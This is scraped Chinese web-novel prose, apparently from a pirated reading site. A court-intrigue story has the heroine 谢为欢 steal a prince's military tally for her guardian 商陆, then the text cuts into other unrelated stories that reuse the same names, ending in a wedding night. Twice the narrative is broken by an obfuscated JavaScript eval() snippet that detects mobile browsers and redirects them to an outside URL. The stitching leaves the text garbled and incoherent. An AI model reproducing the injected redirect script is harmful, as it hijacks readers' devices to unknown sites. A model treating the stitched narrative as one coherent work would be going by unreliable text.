谢为欢并不在意他们议论的话,他们说什么都与她无关。 她已经听到了她想听到的。 她忽地觉得自己真的很可笑,喜欢了商陆很久很久,从心思萌动起到一往而深,期待着男人的怜爱。 卑微到骨子里。 就算他将她送给别人 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或许是被李珏抱得次数多了,又或许是他的怀抱太过于温柔暖,谢为欢竟一时抑制不住泪水,小声啜泣起来。 “殿下,妾疼。” 她口齿不清地解释着自己是因为伤口的疼痛,而非是因为商陆。 “孤知道。”男人紧紧抱住她。 她一时将所有情绪释放了出来。 “疼……妾真的很疼。” “快到了,欢儿再忍一忍。”李珏几乎是在小跑,抱着她疾行。怀中的少女一哭,他就失了分寸,这还是他第一次见她哭。 即使之前她身受重伤,也不曾哭过。 …… 少顷,谢为欢终于被李珏抱回了殿内,她被男人轻轻放在软榻上。 李珏并未说一句话,只是替她褪去外衣,鞋袜,盖上被衾。 她看着忙前忙后的李珏,垂下眼,“殿下都怪妾莽撞,不该自己离开,应该乖乖等着殿下回来。” 然李珏仍是未语,坐在她身侧望着她,伸出手擦了擦她眼角的泪。 “孤怎会恼你,只是心疼你。” 男人温柔的指腹覆在她的眼角,谢为欢轻颤着眼眸,心头的酸涩感再次袭来,她的泪水竟再次忍不住流了下来。 这么多年,她自己都快忘了,她也是才过及笄的少女,却不曾同任何人诉说过委屈,也不曾在任何人面前表露过自己的艰难。 有了委屈也只会往肚子里咽,默默承受一切。 商陆是她生命中的一道光,而今却被那道光灼伤,她不知道自己到底做错了什么。 李珏将谢为欢拥入怀中,她靠在他的肩上。那一刻她卸下了所有防备,只想将心中所有委屈全部释放。 李珏轻抚着她的后背,“欢儿,哭出来就不疼了。” 她的手捏着男人的衣袍,哭了一阵后,才发觉自己失仪。 离开了李珏的怀抱,她抽了抽鼻子,轻声道:“是妾失态了。” 李珏将谢为欢按躺在软榻,“你躺好,孤在这里守着你睡。” 谢为欢点了点头,或许是早已习惯男人的陪伴,她安心阖上了双眸,感受着他手心传来的温热。 …… 不知过了多久,睡梦中的谢为欢渐渐苏醒,忽地嗅到那熟悉的苦茶陈香,感受到有人在触碰她心口的伤。 她猛地睁开眼,瞧清眼前人后睁目结舌,“相爷!” 21.第 21 章 殿内并未燃灯,朦胧的月光落在男人的脸上,苍白却无情,就如同那夜他执剑刺向她的神情一般无二。 谢为欢见商陆的手抚在她的伤口,下意识坐起,向榻里躲去,宛若惊弓之鸟,“相爷…您怎么来了?” 她攥紧的手在微微发抖,不敢看男人一眼。 “你…怕我?” 商陆将眼前少女的神情收入眼底,她害怕得连指尖都在发颤,看到她如此,他竟一时不知所措起来。 “欢儿只是……只是怕相爷再次拿剑杀了欢儿。” 少女面色苍白,蜷缩在角落里,身上白色的寝衣衬得她更加破碎而凄凉,如同一朵即将凋零的花朵。 只要一触碰,即可破碎。 听着少女微弱的呼吸声,商陆忽地觉得自己的心被什么刺了一下,心底泛出一丝酸涩情绪。 “让我瞧瞧你的伤。”他声音沙哑道。 话音落,眼见着男人的手探向她心口的伤。那是他亲手刺的,自然知道伤再何处。 心中回忆起男人冷漠的神情,谢为欢伸出双手挡在身前,拒绝道:“不劳烦相爷,殿下已经为欢儿擦过药了。” 她紧紧咬着下唇,浑身上下满是抗拒之意,不曾看对方一眼。 商陆悬在空中的手悻悻缩回,脸色阴沉下来,挑眉问道:“怎么他可以看?我看不得?谢为欢,我没想过杀你,此事我自有分寸。” 男人每次听到眼前少女提起李珏都会莫名心烦,于衣袖之下攥紧那只缠绕着纱布的手,渗出血迹,以疼痛来压制。 “分寸……”谢为欢抬起头望向商陆,语调颤抖,仿若每一个字都蕴着委屈,“相爷说的分寸是指,只离要害之处半寸么?” 这是她第一次怒视商陆,心底的委屈涌上心头,给了她反驳男人的勇气。 商陆的眉心微微动了动,染上几许心疼,语气却依旧冷冷的,“此事是你不小心遭魏霜陷害,怨不得别人。” 谢为欢咬紧下唇,原来他知道自己是冤枉的,“既然相爷知道欢儿是被冤枉的,为何还要刺欢儿一剑?” “收场。” 商陆那双不带温度的凤眸瞥向她,他只是为了收场,让这件事有一个了结,其他的一切他并不在乎。 “若是欢儿一不小心死了呢,相爷会难过么?”谢为欢盯着商陆的眼眸问道,“若是再给相爷一次机会,相爷还会刺欢儿一剑么?” 空气突然陷入凝滞,时间被无限拉长。 窗外夜风袭来,支摘窗被吹得砰砰作响。 明明是炎炎夏夜,而谢为欢却觉得冷,只想钻进被衾里,蜷缩成一团。 商陆的眼眸黯淡了一瞬,面上却依旧冷冽如常,“我不会让你死,更不会算错。” “倘若错了呢?”她逼问道,这也是谢为欢陆未语,只是攥紧拳头,此事尽在他的掌握之中,所以他不会错,即使错了也只不过是失去一颗棋子。 他冷冷道:“我不会错。” 男人就是如此自负,笃定她不会死,也笃定他不会错。 商陆的话,谢为欢心下已了然,不管给他多少次机会,他都会选择伤害她来了事,即使她死,也不足惜。 她该死,为了他的大计,她该死。 “相爷今夜前来还有别的事么?若是仅仅来看欢儿的话,相爷可以回去了。”谢为欢垂下眼,“欢儿,很好。” 商陆敛了敛眼底的柔光,搓着手指,“经此一事,想必你日后在太子府行事会更加容易,我需要你完成一个任务。” “相爷直说就好。” “回京后,我要你偷李珏的兵符,助我行事。”商陆的嗓音很淡,仿若此事早已谋划。 一阵沉默后,谢为欢仿若提线木偶一般,点头应道:“好,欢儿知道了,回太子府后,会想尽一切办法助相爷。” “不过,欢儿助相爷行事后,能否讨个恩典。”她攥着手指,这是十年来她第一次对男人提出要求,属于她自己的要求。 也是她第一次为自己打算。 “何恩典?” 商陆问道,这还是少女多年来第一次对他提出要求,他一向讨厌别人讨价还价,不过对于眼前的谢为欢,他倒是很乐意听上一听。 谢为欢捏紧了衣角,“欢儿想要自由之身。” 商陆眉心微动了动,“何意?” “助相爷行事后,欢儿想要自由。” 此言一出,商陆的脸色越发可怖,周身戾气翻涌,接着他猛地伸出手捏住谢为欢的手腕,将她拽至身下,“你的意思是你想要离开我么?” 男人那冰冷的目光俯视着她,似要将她刺穿。 “欢儿想做自己。” “做自己?若我没猜错,你是想助我成事后投入李珏的怀抱么?”商陆的语气很冷,提起李珏二字时,能感觉到他的后槽牙都在用力,“谢为欢,你对他动了情?” 他的手转动她的手腕,似乎想探寻什么。 “不,欢儿只是愧疚。” “谢为欢!” “相爷!您教养欢儿长大,却并未教过欢儿无心无情!”她迎上男人狠厉的眸光,用力挣脱他的控制,“恕欢儿无能,不能似相爷一般冷心冷情。” 这是她第一次反抗商陆。 商陆冷笑了一声,他此时已是气极,双手用力攥着拳头,掌心伤口流出的血顺着指缝滴落在衣袍。 “好,很好,谢为欢,只要助我成事后,便如你所愿。” “即使你投入李珏的怀抱,我也不会管你。” “只不过,你若是敢背叛我,我会让你死无葬身之地。” 男人甩袖转身离去。 望着商陆离去的背影,而谢为欢却觉得十分可笑,若是在往日,她见男人在得知她要离开时如此生气,一定会开心得不知该如何是好。 而如今呢? 男人的生气只是因为没有顺他的意罢了。 …… 在行宫的日子里,谢为欢几乎日日卧在榻上养伤,李珏对她寸步不离照顾,换药,用膳,都是他亲力亲为,生怕扯到她的伤口。 起初李珏为她伤口换药时,因着伤在心口,需要褪去衣物坦诚相见,对于她来说,李珏还是一个陌生的男人,心中仍存着害羞与犹豫。 后来见男人担忧的神情,他的真心不能辜负。谢为欢也不再拘着自己,心甘情愿褪去寝衣让李珏换药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15256373|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 转眼半月时间已过,到了回京城的时候。 谢为欢坐上回京的车舆时,在李珏的搀扶下,她余光瞥见了一旁的商陆与魏霜。 只见魏霜面色苍白,极为虚弱,仿佛下一秒就要被风吹走。 然,她也只是瞥了几眼,察觉到商陆的眼神后,立即收回视线,转身进了车舆。 没什么波澜,只有心口处的伤在隐隐作痛。 …… 回到太子府后,谢为欢在李珏的精心照顾下,身子已然大好,气色也比往日要好得多 这日,她思起商陆交给她的任务,又正好打探到李珏在书房处理事务。 兵符此等要物,首要寻得之地便是书房。见时机已到,谢为欢吩咐半夏备上糕点前往太子书房,一探究竟。 书房离清月殿并不远,炎热的暑日已然过去,清风吹来,衣角缓缓飘动,舒适而清凉。 片刻后,行至书房。 门外有侍卫把手着,还有李珏的贴身护卫苍术。 见谢为欢前来,苍术恭敬行礼道:“见过谢奉仪,此地乃府中重地,若无殿下吩咐,恕属下不能放行。” “苍术,我只是给殿下送些吃食。”谢为欢垂下眼,发出沉重的叹息声,“若是不能亲自送,劳烦你带进去给殿下。” 苍术点头,接过食盒转身进了书房。 谢为欢故意在原地踱步, 她在赌,赌李珏会心软让她进去。 然,就在她刚转身要离去时,苍术果然从书房出来叫住了她,“谢奉仪,殿下请您进去。” 谢为欢停止步子,掩过面上的欣喜,快步进了书房。 刚步入书房,便可闻到浓烈的檀香味,只见四壁皆书,幽静而深邃,李珏坐在案前看着奏折。 “妾,见过殿下!”谢为欢柔柔行了一礼。 “欢儿,你怎来了?”李珏放下手中的奏折,向她伸出手。 谢为欢走近后,任着李珏牵着她的手,坐在了他的身侧。 “殿下,妾来瞧瞧你,却不料被侍卫拦在门外不让进。”她轻轻地皱起眉头,抓住男人的袖口,诉说着委屈。 李珏顺势揽上她的腰肢,他对于谢为欢的撒娇很满足,这还是许久以来,少女第一次像一只小猫一般,表达出她的委屈,寻求庇护。 “谁敢拦着欢儿?孤这便吩咐,欢儿日后想来书房不准拦着。” “真的?”谢为欢面露欣喜,“妾以后都可以来书房找殿下么?” “自是可以。”李珏揉了揉她的头,“孤的欢儿想去何处就去何处。” 话音落,李珏再次拿起奏折,谢为欢识趣要起身,却被男人拦了下来。 “殿下,您处理的都是机密大事,妾在这里不方便。” “有何不方便?”李珏执意留下她,揽着她腰肢的手收紧力道,“你是孤的女人,孤信你。” “……殿下,”谢为欢默默低下头,嘴唇微颤。李珏总是给予她全部的信任,不曾有过一丝一毫的怀疑。 她不再说什么,只看着男人认真看着奏折,不去打扰。暗地里悄悄观察着书房的四周,不知兵符会被放在何处。 22.第 22 章 午时,谢为欢同李珏一起出了书房用膳。不过片刻,苍术走前来附在他耳畔悄悄说了什么后。 李珏面上略显焦急之色,“欢儿,孤有急事要去处理,今夜恐怕要晚时才能回来,不必等孤了。” 谢为欢若有所思点了点头,“是,殿下。” 待李珏走后,她放下碗筷,独自一人急匆匆返回了书房。 门外侍卫刚刚听了李珏的命令,不敢对她多加阻拦,只询问道:“不知奉仪来这书房有何贵干?” 谢为欢捏紧手指,掩过面上慌乱的神色,“我的玉佩不小心落在了书房,那是殿下赏得,丢不得。” “这……” “怎么?殿下不是说过,我可以随意进入书房,你们怎还敢拦我?”谢为欢眉头紧皱,语气严肃,“难道要我去禀告殿下?” 眼下她仗着李珏的宠爱,也学会了狐假虎威,拿着狠话威胁眼前的侍卫们。 侍卫们见谢为欢要告知李珏,登时松了口,“奉仪快快请进!” 话音落,谢为欢快着步子推开了书房的门,白日里她仔细观察了一番,唯有一旁的书格像是能藏有重要之物的模样,不敢笃定兵符就在此处,只好碰碰运气。 她不知李珏何时回来,不敢弄乱其他物件。 案前的香炉散着丝丝缕缕的烟雾,冉冉升在半空。 寻了一番后,终究无果。谢为欢急得额角泛出了薄汗,若是书房没有,她当真是不知李珏还能将兵符放在何处。 然,就在她坐在地上愁眉不展之时,忽地抬头竟瞧见前方书格上有一个特殊的锦盒。 锦盒放的位置很精巧,只有坐在地上才能看到,站起来时恰有书籍遮挡。 她缓步走去将锦盒取下,打开后,里面正是兵符,接着将兵符拿出,锦盒归于原位。 转身迈出门时,谢为欢脚步一顿,攥紧手中的兵符陷入恍惚。 如此做,算是彻底辜负了李珏…… 心中回想起男人无数次的关心与爱护… 不管如何,她都要偷走兵符交给商陆,至于那份愧疚,只能慢慢弥补。 出门后,谢为欢特意嘱咐道:“今日之事就不必告诉殿下了。” 侍卫连连应声:“是!” 兵符到手,谢为欢不敢耽误,快步回到清月殿戴上面纱出了府,直奔东街的忘忧居。 店家见谢为欢匆忙而至,知是大事,赶忙引她至二楼雅阁等待。 还是上次她与商陆见面的屋子。 不过片刻后,推门声响起,来人迈着步子,腰间的玉佩轻响,熟悉的苦茶沉香传来。 谢为欢知是商陆亲自前来,微微垂眸,自从上次两人不欢而散,已快至一月未见。 男人绕过屏风,瞧见她的身影后,没有说什么,只坐在案前。 “相爷……”谢为欢将怀中的兵符取出放在商陆面前,“您要的兵符。” 商陆点头,“嗯……” 一阵的沉默后,谢为欢咬紧下唇,“既如此,欢儿希望相爷遵守承诺。” “什么承诺?”商陆目光转向她,透着冷冽的寒意。 她绞紧手指,难不成商陆烟出而反尔? “相爷说过,这次助相爷成事后,欢儿就自由了。” 此言一出,空气忽地陷入凝滞。 两人的呼吸声皆清晰可闻。 下一时,清风吹来,窗边的穿珠帘轻轻晃动,发出清脆的声响,打破屋内的沉寂。 男人先是举起茶盏饮了一口,随后漫不经心放下,淡淡道:“你若是想好如此,我拦不得,只是日后你的生死便与我再无任何关系。” 再无任何关系…… 两人陪伴彼此十年,商陆于她有知遇之恩。 闻言,谢为欢的泪水在眼中打转,伏在地上,磕头谢恩道:“欢儿谢相爷当年救命之恩。” “不管你想如何,但绝对不能背叛我。”商陆双唇紧抿。 “相爷放心,欢儿绝对不会背叛相爷。”谢为欢仰了仰头,将眼尾的泪水抑制回去。 “嗯……”商陆轻轻嗯声,平淡得不能再平淡,什么情绪都没有。 谢为欢只当时男人不想再同她说什么,转身而离去。 待谢为欢走后,重楼望着案前的商陆叹了口气,欲言又止,“相爷…您真的舍得放谢姑娘?” 商陆未语,只是望着自己缠着纱布的手心,陷入沉思。 那夜他刺伤谢为欢后,竟鬼使神差握住刺伤她的剑,任着那鲜血染浸衣袍,却感觉不到疼痛。 不知怎地,只要他回想起少女面色苍白,盯着他的神情,苦苦哀求他信她。 他的心就像是堵住了什么东西,喘不过气,以至于他想通过伤害自己来缓解情绪。 然,那情绪却刻骨铭心,冲击理智,难以释怀。 重楼:“相爷,您要告诉谢姑娘,您不是故意要伤她的,是为了护她……” 商陆:“……” 重楼:“相爷,您到底何时才能看清自己的心?” “……心?” 商陆抿起唇,紧紧攥着手中的茶盏,他本是无心无情的人,哪里会有心?更不可能会对谢为欢动了心。 不可能会爱上一颗棋子。 他只是利用,只是利用。 “重楼!以后莫要再说此话,否则……”商陆低沉的声音透着不悦。 “相爷……” 重楼结舌,不再去说什么。世人皆道当局者迷旁观者清,他家相爷明明心里装着谢姑娘,却不承认,将谢姑娘越推越远,最后受苦的却是自己。 “她不过是一颗棋子,仅此而已。” “派人盯紧她的一举一动。” …… 天忽地渐渐染上了墨色,阴蒙蒙的,不一会儿,竟下起了细雨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼前的少女以薄纱半裹身子,纱衣因着方才动作不经意滑落,露出半边酥/胸,肌肤透着淡淡的粉色,像一朵含苞绽放的花朵,娇媚而风情,扰乱他的心。 “欢儿,你可知道自己在说什么?”李珏的喉结滚了滚,手轻轻落在她的肩膀,再次确认她话里的意思。 时间被无限拉长,谢为欢低垂下眼,或许是出于愧疚,又或许是出于心底的那份动容,脑海中回忆起商陆刺向自己冷漠的神情,只剩下无尽的痛苦。 她只知道,此刻她愿意将自己交给李珏。 谢为欢再次抬眼看向李珏,男人眼底是动情的神色,心底的冲动再次涌上心头,她嘴唇微动…… 50-60 第 51 章 第 51 章 转而一月时间已过,商陆已宿在长秋殿整整一个月,在全殿上下一派喜气洋洋时,只有谢为欢一人愁眉苦脸。 这日,她倚在罗汉床上瞧着话本,清风拂过,吹动额间的碎发,也扰乱她的心,不由得攥紧书卷的一角。 经过一个月的时间,她已渐渐熟悉宫内的一切,有商陆伴在身侧,甚觉安心。 好似已许久没过如此平淡的日子。 整个人都懒散下来。 天色昏暗,潮湿带着微凉的风从窗外吹拂进屋,少女略显单薄的衣衫随风而动,如乔木纤长而不失挺拔。 “做我的棋子?” 少女眉眼澄澈坦荡,似是听到了什么可笑的言论。 目光在他面上划过一瞬便收走,商陆只瞧见了那琉璃似的眼瞳极快地映衬出他的身影,倏然又消失不见。 他垂眸回望。 谢为欢的美是毫无争议的、一眼便能看出的美。美得端庄大气,美得明艳而不掩锋芒,皎如明月。 可她毕竟年纪尚轻,眉眼间仍有着几分天真的娇俏,淡化了那美的攻击性。此刻又身着素色裙衫,外披一件淡青的薄披,清雅与明丽俱于一身,不觉突兀,反倒更显出尘。 便是这样的女子,在听了他的话后,眉眼一抬,万千风华流露其间:“只有工于心计之人,才会不遗余力地将所有人都视作棋子。我可不需要。” “大人还是歇了心思吧。日后也不必再来问我,这样荒谬的问题,本郡主没必要给你答复。” 谢为欢说完,转身上楼。 商陆与她,便是大胤高门子弟之中,最极端又最典型的两类人。 一类吃喝玩乐远离朝局纷争,叫外人看了都要叹一句玩物丧志;而商陆显然是另一类:不依靠祖辈,全然靠自身博取功名,几乎被所有长辈当做范例对自家孩儿耳提面命的人中龙凤。 谢为欢也并非不明事理。 因着父兄镇守边疆,她是很敬服这种从沙场上自个儿搏来功名的人的。 可对方偏偏是商陆。 她讨厌承望,更讨厌商陆。 二人之间针锋相对已久,说句死对头也不为过。她讨厌他,他也未必将她放在眼中。 那日的求亲,或许只是想看她的笑话,无论是出于作弄还是报复的缘由,她都不会答应。 谢为欢的厢房在二楼,与七公主岑嘉年相挨着。 她刚踏上楼梯,便见岑嘉年身边的侍女桃见不知缘何站在楼梯处,略带着些慌乱地给她问好。 谢为欢进了屋子。玉澜顿住脚步,停留在外看着房门关合,这才带出点笑:“听到什么了?” 桃见唇瓣动了动:“……什么、什么也没听见。” 她不过是得了令,出来想再问永淳郡主寻些药丸,谁知正巧瞧见二人交谈。 隔着些距离,倒是不曾听到在说什么,只是看气氛……似是不太融洽。 玉澜笑得温和,伸出手,拍了拍她紧张交握的手背。 “郡主亦是头回主持秋狝,与七公主一样,紧张也是有的。大人执掌禁军,经验丰富,有他在,公主殿下与我们家郡主都能安心。” 言下之意,都是公事。 桃见含混点头,玉澜又笑了笑:“来找我们郡主,有什么事?” 桃见拿了药丸,再度离去。 玉澜顺着她方才所在的位置朝下望去,商陆大人仍在原地,不知与副将说着什么,面上没有什么表情,却蓦地让人觉得……比之方才,还要寂寥几分。 又或者是错觉,玉澜进了屋,暗想,自家郡主总不待见大人,与他这张总是冷冷如寒冰的脸也有关系。 她的声音带着几丝诱惑的意味,这也是她第一次如此明目张胆在一个男人面前如此做。 商陆攥紧身侧手指,喉结不自觉动了动,此时少女的裙摆时不时坠落在他的腿上,如同羽毛轻挠,拂过一阵痒意。 她的心思,他全部知道。 接着,谢为欢轻轻抬起她纤细的手腕,下一刻,柔滑衣袖在不经意间滑落,露出那截皓腕,她端起酒盏为男人亲自斟酒。 “来陛下,这可是臣妾派人寻的桂花酿。” 她将酒盏端起,送至男人的唇间,竟是要亲自喂他饮下。 她身上的香气隐隐萦绕,仿佛在勾引他靠近。 第 52 章 第 52 章 一提起那件事,谢为欢脸上就挂不住光。 半个月前,商家向谢家下了封婚贴,以重金求聘谢家长女谢为欢,嫁与商家二公子商陆为妻。 那商陆,何许人也? 镇国公府二公子,皇上亲封的定元将军,商世子商陆。 并非商家嫡长子,却靠着赫赫战功独得圣上青睐,他是武将出身,偏偏又生了一副斯文极了的儒士相。 谢为欢并未见过商陆,却在京都时常听见有关乎他的传闻。说他德才兼备、文武双全,实乃大凛不可多得的清雅之士。 父亲喜极,登时便收了商家的聘礼,姨娘孙氏却不乐意了。 谢为欢明明是谢家嫡女,母亲明明是父亲的正妻。可这么多年以来,父亲宠爱极了孙氏这一房小妾。谢府吃穿用度,一贯是先讨了庶妹的好、再将剩余的分些给她。 白捡了这样一位好女婿,又能攀上镇国公府这样一棵大树,孙氏自然不甘心让谢为欢嫁过去。 她巧言哄骗谢老爷,商家只说要娶谢家嫡女,可又未曾见过谢家的大女儿,不若偷梁换柱…… 父亲极疼孙氏与庶妹。 孙氏这么一闹,庶妹这么一哭,花轿上的新妇陡然便换了一人。而商家似乎早有所防备,当着众人的面戳穿这桩“狸猫换太子”的丑事,一时之间,整个谢府成了全京城茶余饭后的笑柄。 但谢为欢却不在乎这些。 她心里头只想,自己到底是有些福分的,嫁进了镇国公府,母亲在谢家总归也能好受些。 这些年,母亲为了她在谢家忍气吞声,过得太苦。 自从外祖父离世后,父亲便赶忙抬了孙氏过门。与之一同迈进谢家的,还有那位原本见不得光的私生女——她的庶妹,谢知绫。 那时候谢为欢还年幼,并不知晓屋里头多添两双筷子的含义。她只知那孙氏和庶妹搬进来后,父亲的目光就再没有落在她与母亲身上。 她们被赶到侧院,府里的下人们也都如墙头草般变了脸。 母亲日日哭,夜夜哭。春祭兵乱之后,刘太守威望直坠。 而居琴园前门庭若市,众人都带着厚礼上门商拜。 商九郎一如往常,尽数商绝。 谢家主也试过带谢为欢等女郎上门,但也不得入见。 恰在这个令谢家主又要急上火的时刻,冯大娘子的兄弟带来好消息。 冯家早一两年已经迁至建康西南不远的西州城,族中人官小地卑,说不上话,这次还是得知戈阳丞周大人回到建康后,力荐谢家主做官。 虽然只是个八品小官,但能举家南渡,扎根建康了! 清晨,谢为欢与族中兄弟姐妹按惯例去拜见老夫人。 原本谢家有三房兄弟,长房为家主,闻达士林,官至五品,只可惜早亡,留下独苗谢二郎。二房为谢为欢父亲这一脉,才智不出众,替家族管理产业倒是不错,谢家的家产就是从他手上起来的,三房因为与二房争家主之位失败,愤而分家,已经迁至他处,多年不曾联系。 老夫人杨氏虽然选了二子为继,但始终觉得他不如长子争气,谢氏一族眼见就要败落,她愧对先夫,整日愁眉苦脸。 自听到冯大娘子传来的佳音,谢家主终有官身,老夫人整个人都精神了,对小辈们更是和颜悦色。 谢为欢趁机拿出做好的驱虫香囊给老夫人,杨氏笑着收下,还拿起来嗅了嗅,“咱们家就要去建康了,择日我欲去安城一趟,最后见见我的老姐妹,九娘得空做多几个香囊,康老夫人上回写信还说起过呢!” 谢为欢起身应了。 谢家准备迁至建康,在戈阳的家产就不得不早做打算。 布帛存货可以充当银钱使用,若能带走自然是尽量带着,但布坊和织娘却不得不仔细考虑。 冯大娘子思量了几日也没有下定决心,来找老夫人求助,老夫人有心考验小辈们,就把难题又抛了下来。 谢唯珊天真道:“让她们继续干活为我们织布卖钱不就是了。” 谢常青点头,亲妹妹说的话他总要支持。 六娘七娘都不吱声,不敢表现。 谢二郎张口欲答,余光瞥见谢为欢,反问起她道:“九娘可有想法?” 谢为欢知道二哥是想要她能够多表现表现,获得老夫人欢心。 “你但说无妨,祖母只是想知道你们的看法。”杨老夫人不喜欢月娘这个出身低贱的妾室,但谢为欢好歹算是他们谢家的子嗣,待她不刻薄也不亲近。 谢为欢只好道:“布坊能卖则卖,绣娘可择优带走,其余遣散。” “你说得轻巧!那布坊可是阿父用心经营建造的,卖多少都是亏啊!”谢唯珊嚷了起来。 “五姐姐说得不错,卖多少都是亏的,眼下这个时候,粮米飞涨、良田和优铺却狂跌不止,能卖出手已是万幸。”谢为欢并不心疼谢家主到底为之付出了多少,她就事论事。 “多犹豫一日,就多损失一分。” 老夫人随着谢为欢话落,点头。 谢唯珊和谢常青兄妹两同时闭了嘴。 “难怪阮娘子说你是个聪慧的,既然都想到这一步了,那如何让我们谢家损失最小,可有想法?”老夫人捏着香囊,眼睛在观察谢为欢。 当初谢家主要选她给商家时,她本来是不同意的。 送一个笨蛋去,不但无法给谢家带来助力还可能会引来祸端,但若太聪明——只怕日后不好控制…… 谢为欢沉思片刻,脸露难色,轻轻摇头。 谢唯珊笑出声,“瞎猫碰到死耗子。” “那都去想想吧,要是谁的办法好,祖母到建康就送一个铺子。” 谢唯珊撇下嘴,小声嘀咕谁稀罕。 旁边的谢为欢却心里一动。 她和月娘没有自己的私产,靠府上发放的月例过活,只是月娘身体一直不好,看病吃药都花钱,这么多年母女俩没有奢侈过活但也没能存下几个钱。 谢唯珊看不上的东西,她却很看得上。 因为老夫人的许诺,谢为欢比谢家主还操心布坊一事,每日都会偷溜出谢府满大街转。 苍怀出门办事都撞见过她好几回,了解到她在积极为谢家出手产业后回头就报给商陆知。 商陆因为那个梦,好几日刻意没有去想谢为欢,忽然听见她居然在忙这种事,神情也略略有些微妙。 谢家主不再上门也就罢了,谢为欢居然也没半点反应,一点也不像她之前的积极表现。 后来母亲终于不哭了,可身子与眼睛都不大好了。 谢为欢正思量着,雨势忽然落大了些。 她仿佛能听见,嘈乱的雨声里混杂的宾客们的恭贺声。 今日明明是镇国公府大婚。 可来往宾客恭贺最多的,却不是商谢两家的婚事,而是老夫人病情初愈,是商世子班师回京。 他们好像都忘了她。 谢为欢垂下浓黑的睫,心想,商陆应当也不大喜欢她。 对方也是在半个月前,才得知要迎娶她过门。 他是个孝顺的,父母之命,八字之合,让商陆并未做出任何反对。对方与她一样,穿上那件大红色的喜服、按部就班地完成这一场婚事。今夜洞房花烛一过,或许二人剩下的交集,便是少之又少。 商陆应该是讨厌她的。 譬如父亲那样不喜欢母亲。 既非门当户对,又非两情相悦。看似天作之合,实则一场孽缘。 如此想着,少女头上的步摇晃了一晃,雨珠子扑簌簌的,就要落入到她的眼眶。就在此时,房门外传来一阵脚步声,原本乱哄哄的周遭忽然间安静下来。 雨声,脚步声,玉坠轻叩声。 “吱呀”一声响,喜房的门被人从外推了开。 谢为欢蒙着大红盖头,什么都看不见,只能隐隐约约地看见一个人形走到自己身前。他身姿颀长,步履却是温缓,随风飘来一阵极淡的香气,细细一闻,似有清雅的兰花香。 她不敢出声,只低着头,一张脸笼在通红的盖头中。 来商府之前,嬷嬷曾教过为欢,如何讨得夫君欢心。 “世子爷成日举枪上战场,是个蛮力大的,姑娘身子娇弱,到时候怕是要多担待些。不过姑娘也莫要惊惧,商世子也并非生有三头六臂,只疼那头一下便好了……” 不等谢为欢反应,面前已然落了一道身形。商陆只一挑,揭了她的盖头。 对方的动作很轻。 迎面一道清淡的风,落在谢为欢眼角的晶莹上,她下意识抬眸,撞入眼帘的是一袭大红色的喜服。男人乌发高束着,戴着尊贵华丽的金冠,金冠之下,是一张温润如玉的脸。 他的面色清平似水,一双鸦睫浓密而纤长。唯有那对凤眸轻挑着,露出些探寻之意。 见了她眼角的泪痕,商陆稍稍一怔。 这是…… 哭了? 他攥住了盖头一角,有几分忐忑地问道:“姑娘怎么了,可是……在下生得叫姑娘不欢喜?” 谢为欢赶忙摇头。 她也原以为,商陆常年征战,会生得五大三粗。如今凝望而去,只见他面容白皙,剑眉星目,不像是个将军,反倒像是位斯文矜贵的文官。 见她并未面露恶色,商陆放下心来。 他知晓,谢姑娘与他一般,都是奉着父母之命成婚的。二人先前并未打过照面,也难免会生怯。于是他的动作愈发轻缓,结发、合卺……往后的每一项他都做得十分体贴而细致。 谢为欢止住了哭,循着月色望去。 从前便听闻,这镇国公府是京中无数贵女就算挤破了头、也想嫁进去的地方。如今见着商世子如此温柔小心,她的怯意不免消散了八九分。 谢为欢在心中暗想,她的这位夫君,应当是个会善待她的好人。 饮完合卺酒,接下来便是洞房花烛。 不知是不是喝了酒的缘故,商陆的面上有些泛红,褪下最外层那一件嫁欢时,谢为欢的整张脸更是红得不能自已。窗外大雨仍是淅沥,她的欢裳亦是窸窣窣地寸寸褪下,就在只剩最后那件里欢时,商陆发觉了她身形的颤抖。 她在害怕。 从眼神、到嘴唇,再到浑圆的肩头,都在轻轻打着颤。 她害怕极了。 谢为欢自幼被养在闺房中,从未与外男接触,更罔论这般不明不白地与人入了洞房花烛。可见对方不再解自己的欢裳时,她心中的惊惧又甚——世子爷只是在想什么,他怎么停下来了,他莫不是在嫌她矫揉造作、只褪一件嫁欢便瑟缩成这般模样? 她会不会令世子爷不喜? 倘若自己新婚第一日便遭到了商陆厌恶,那母亲在谢家那边,又该如何自处? 见她一直出神,商陆问她:“在想什么?” “我在想,世子爷可不可以,对为欢好一点。” 闻言,商陆便笑了:“你是我的妻子,夫君薄待正妻,实乃令人不齿的小人行径。我商陆虽算不上是君子,但也不是小人。” 他又看出新娘子的局促,按住她的手。 “再者,你不必像嬷嬷们教的那般刻意讨好,我不喜欢。” 谢为欢的手背上一烫,红着耳根子点头。 商陆不知她心中思忖,见她瑟缩得厉害,犹豫了一下,缓声道:“你如若不喜欢,我们今夜可以不……” 不等他说完。 谢为欢心中惦念着母亲,眼一闭,心一横,竟直接吻上商陆的唇! “唔……” 后半句话登时被人吞入腹中。 商陆双眸微圆,只觉有津津甜意在唇齿间蔓延开来。男人眸光微动,下一刻,已掐着少女的腰身将她回吻住。 这一场大雨倾盆。 不知是何人的心跳声剧烈。 怦怦声,簌簌声,还有窗外那淅淅沥沥的声息。谢为欢只感觉着男人的呼吸迎面落下,紧接着便是耳畔落下的那极轻柔的一句: “夫人。” 他乃武将,行军打仗,舞刀练枪。 却将这刀口封住,如娇养一盆花儿般,以提刀的手温柔养护她。 鲛室琼瑰,银面仙泉。 